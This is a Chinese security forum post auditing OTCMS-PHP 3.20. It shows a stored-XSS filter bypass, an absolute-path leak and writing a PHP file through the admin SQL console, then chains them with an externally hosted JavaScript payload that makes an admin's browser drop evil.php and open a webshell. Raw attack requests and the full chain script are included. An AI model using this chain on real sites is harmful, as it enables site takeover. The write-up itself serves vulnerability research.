用户
搜索
  • TA的每日心情
    开心
    2018-1-2 10:27
  • 签到天数: 6 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋-核心白帽

    Rank: 4

    60

    主题

    79

    帖子

    917

    魔法币
    收听
    0
    粉丝
    11
    注册时间
    2016-6-6
    发表于 2018-4-17 16:23:02 810537
    本帖最后由 yanzm 于 2018-4-17 16:38 编辑


    0x00 背景

    本周拿到OTCMS的源码便对该源码进行审计,发现这个源码使用了预编译暂时没有找到SQL注入相关的问题,且对用户输入的内容控制比较严格,对大部分的用户输入位置进行数据类型的转换,引号的转义等安全处理,最后通过审计发现了如下的安全问题组合利用可以GetShell,虽然GetShell的条件限制可能较多。期待和师傅的各种交流讨论,共同学习。

    0x01 审计过程

    XSS注入

    0x00 相关环境
    源码信息:OTCMS-PHP-3.20-20180316
    问题文件: \otcms\OTCMS_PHP_3.20_20180316\inc\classArea.php
    漏洞类型:存储型XSS注入
    站点地址:http://otcms.com/

    0x01 漏洞分析
    首先注册会员并在管理员审核通过后在会员中心发布文章,在\otcms\OTCMS_PHP_3.20_20180316\usersNews_deal.php文件的第58行中接收POST请求的content参数的值然后传入到FilterEditor方法中进行安全处理。

    处理.png


    跟入FilterEditor方法,在\otcms\OTCMS_PHP_3.20_20180316\inc\classArea.php文件的第247行中发现该方法。通过分析该方法的过滤规则,得知过滤规则可以被绕过。

    绕过.png

    过滤规则存在被绕过的的问题,绕过的方式有多种,这里我是绕过script标签,绕过的方式很简单,仅需在最后一个</script >的>位置之前加上空格即可。
    [PHP] 纯文本查看 复制代码
    $str = preg_replace("/<\s*(script[^>]*)>([\s\S][^<]*)<\/\s*script>/si","",$str);
    $str = preg_replace("/<\s*(script[^>]*)><\/\s*script>/si","",$str);


    0x02 漏洞复现

    进行如下请求可以在发布的文章正文中进行存储XSS的利用。
    [PHP] 纯文本查看 复制代码
    POST /usersNews_deal.php?mudi=deal HTTP/1.1
    Host: 127.0.0.1:8083
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: [url]http://127.0.0.1:8083/usersCenter.php?mudi=addNews[/url]
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 528
    Cookie: VGM_msid=lK6h9L; uc_menu=7; VGM_userauth=iCWfvAR8iseJ5T3P9bVHw%2BZLTvqmLhL8vMS0IIj3ZoEOL2%2Fa%2Fax8vtdH; Azt_msid=jzN649; P4i_msid=543XR7; QF5_msid=YsrpNW; QF5_userauth=0RDHaeNxlXszVUhosa8jfPnOOjqv3NTLBStfYowagRk6AfRaUUZijnnS; menubox1=menubox1; PHPSESSID=tfj0laduj9m85taajh7f5esrp2; SWAwc_userID=1; SWAwc_username=thinking; SWAwc_userInfo=UzZdCAVyW2BXal1jVDtQbgQ9UWULWVxnB2IEOlA4VjQBMA9iA2VVMwdgAWlTZlcwBmQANw5iXDEBbF42WjsAMlMwXTkFMFtsVzBdOFRpUD8Ea1FhC2VcXAdbBFJQNVYpAWAPLwMz;XDEBUG_SESSION=PHPSTORM
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    backURL=http%3A%2F%2F127.0.0.1%3A8083%2FusersCenter.php%3Fmudi%3DaddNews&dataID=0&isScore1=1&isScore2=1&isScore3=0&score1Name=%E7%BB%8F%E9%AA%8C%E5%80%BC&score2Name=%E7%BD%91%E9%92%9B%E5%B8%81&score3Name=&infoScore1=10&infoScore2=10&infoScore3=10&theme=Thinking_test&source=%E7%BD%91%E9%92%9B%E7%A7%91%E6%8A%80&writer=thinking&typeStr=%2C12%2C&content=<script>alert(1)</script >&infoFileDir=upFiles%2FinfoImg%2F&upImgStr=&pageNum=&themeKey=&contentKey=&img=&isCheckUser=0&score1=&score2=&score3=&cutScore1=&cutScore2=&cutScore3=
     


    31.png

    32.png

    接下来访问新闻资讯(发布文章时候选择的栏目)中发布的文章便会触发XSS。

    xss.png

    绝对路径泄露

    0x00 相关环境
    源码信息:OTCMS-PHP-3.20-20180316
    问题文件:\otcms\OTCMS_PHP_3.20_20180316\inc\classZip.php
    漏洞类型:绝对路径泄露
    站点地址:http://otcms.com/

    0x01 漏洞分析
    在文件\otcms\OTCMS_PHP_3.20_20180316\inc\classZip.php中的第86行中,在进行备份文件的压缩的时候,将压缩的路径直接打印出来,暴露了站点的绝对路径。

    lujing.png

    0x02 漏洞复现
    进行如下请求可以获取站点的绝对路径。

    lujing   1.png

    lujing  2.png

    数据库写马

    0x00 相关环境
    源码信息:OTCMS-PHP-3.20-20180316
    问题文件: \otcms\OTCMS_PHP_3.20_20180316\admin\sysCheckFile_deal.php
    漏洞类型:数据库写马
    站点地址:http://otcms.com/

    0x01 漏洞分析
    由于该源码暴露了站点的绝对路径,所以就开始挖掘SQL注入漏洞,后面发现站点使用了预编译所以暂时还没有找到可以利用的点,在后台的“管理员专区->程序文件检查->SQL语句调试”中发现可以执行SQL语句的地方,通过分析文件\otcms\OTCMS_PHP_3.20_20180316\admin\sysCheckFile_deal.php文件中的第541行中内容,得知在执行SQL语句中是不能出现分号的,但是通过数据库写马操作写入PHP代码是有分号的,此处可以使用hex编码绕过。

    绕过.png


    0x02 漏洞复现
    进行如下请求将PHP代码进行hex编码后再执行数据库写马操作便可以getshell。

    是 1.png

    是 2.png


    漏洞的组合利用

    首先需要在前台存储型xss中引入js文件,http://xx.xx.xx/97b575.js,js的内容如下所示。
    [PHP] 纯文本查看 复制代码
    function loadXMLDoc()
    {
    var xmlhttp;
    if (window.XMLHttpRequest)
      {// code for IE7+, Firefox, Chrome, Opera, Safari
      xmlhttp1=new XMLHttpRequest();
      xmlhttp2=new XMLHttpRequest();
      }
    else
      {// code for IE6, IE5
      xmlhttp1=new ActiveXObject("Microsoft.XMLHTTP");
      xmlhttp2=new ActiveXObject("Microsoft.XMLHTTP");
      }
    xmlhttp1.onreadystatechange=function()
      {
      if (xmlhttp1.readyState==4 && xmlhttp1.status==200)
        {
        filepath=xmlhttp1.responseText;
        reg="<div>1/1正在压缩文件(.*?)</div>"
        data = filepath.match(reg);
        data = data[1].replace(/\//g,"\/\/");
        data = data.replace(/ /g,"")}
        xmlhttp2.open("POST","http://127.0.0.1:8083/admin/sysCheckFile_deal.php?mudi=sql",true);
        xmlhttp2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xmlhttp2.send("backURL=http://127.0.0.1:8083/admin/sysCheckFile.php?mudi=sql&sqlContent=select 0x3c3f70687020706870696e666f28293b3f3e into outfile \""+data+"//evil.php\"");
      }
    xmlhttp1.open("POST","http://127.0.0.1:8083/admin/softBak_deal.php?mudi=backup",true);
    xmlhttp1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp1.send("backURL=http%3A%2F%2F127.0.0.1%3A8083%2Fadmin%2FsoftBak.php%3Fmudi%3Dbackup&mode=diy&selTable%5B%5D=upFile&zipNote=&backupSpace=server");
    
    
    }
    loadXMLDoc();


    在会员中心中进行文章的发布。然后正常填入文章内容选项,提交的时候使用burp suite进行代理抓包,添加<script src="http://xx.xx.xx/97b575.js" </script >然后提交请求包。

    请求包.png


    模拟管理员登录后台,并查看或审核文章,当管理员访问到该文章,便会触发JS从而为利用数据库写马的操作,写入PHP文件GetShell.
    管理员查看文章,便会触发ajax进行XHR请求,写入PHP文件。

    php  1.png

    php  2.png


    此时在D:\soft\phpStudy\PHPTutorial\WWW\code\otcms\OTCMS_PHP_3.20_20180316\upFiles文件夹下便会生成一个evil.php的文件。

    ev.png

    访问该文件便能执行PHP代码GetShell。

    zhixing.png


    0x02 小结

    本篇以otcms的源码进行审计,其中数据库写马的操作限制比较多,但是通过这几个漏洞的组合利用,可以学习下使用前端代码获取ajax返回的绝对路径并进行数据库写马操作,期待师傅们一起交流讨论,但是如果是hc请走开勿扰,交流学习可联系我[email]thinking_balabala@163.com[/email]。

    qrcode_for_gh_223e082fe8a7_344.jpg

    注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。


    老哥,厉害了! 其实后台的文章发布标题也存在存储XSS
    使用道具 举报 回复
    发表于 2018-4-18 04:44:47
    注册审核 哈哈 危害小
    使用道具 举报 回复
    发表于 2018-4-18 10:52:32
    感谢分享
    使用道具 举报 回复
    发表于 2018-4-18 11:32:55
    围观大佬发威!
    使用道具 举报 回复
    发表于 2018-4-18 12:28:56
    打出一套组合拳
    使用道具 举报 回复
    我只能说很给力.
    使用道具 举报 回复
    发表于 2018-4-22 21:24:18
    厉害,佩服~不过需要知道后台网址,这个是个难点
    使用道具 举报 回复
    发表于 2018-4-26 15:20:41
    冰沸点 发表于 2018-4-17 17:37
    老哥,厉害了! 其实后台的文章发布标题也存在存储XSS

    获取来源就是后台地址
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册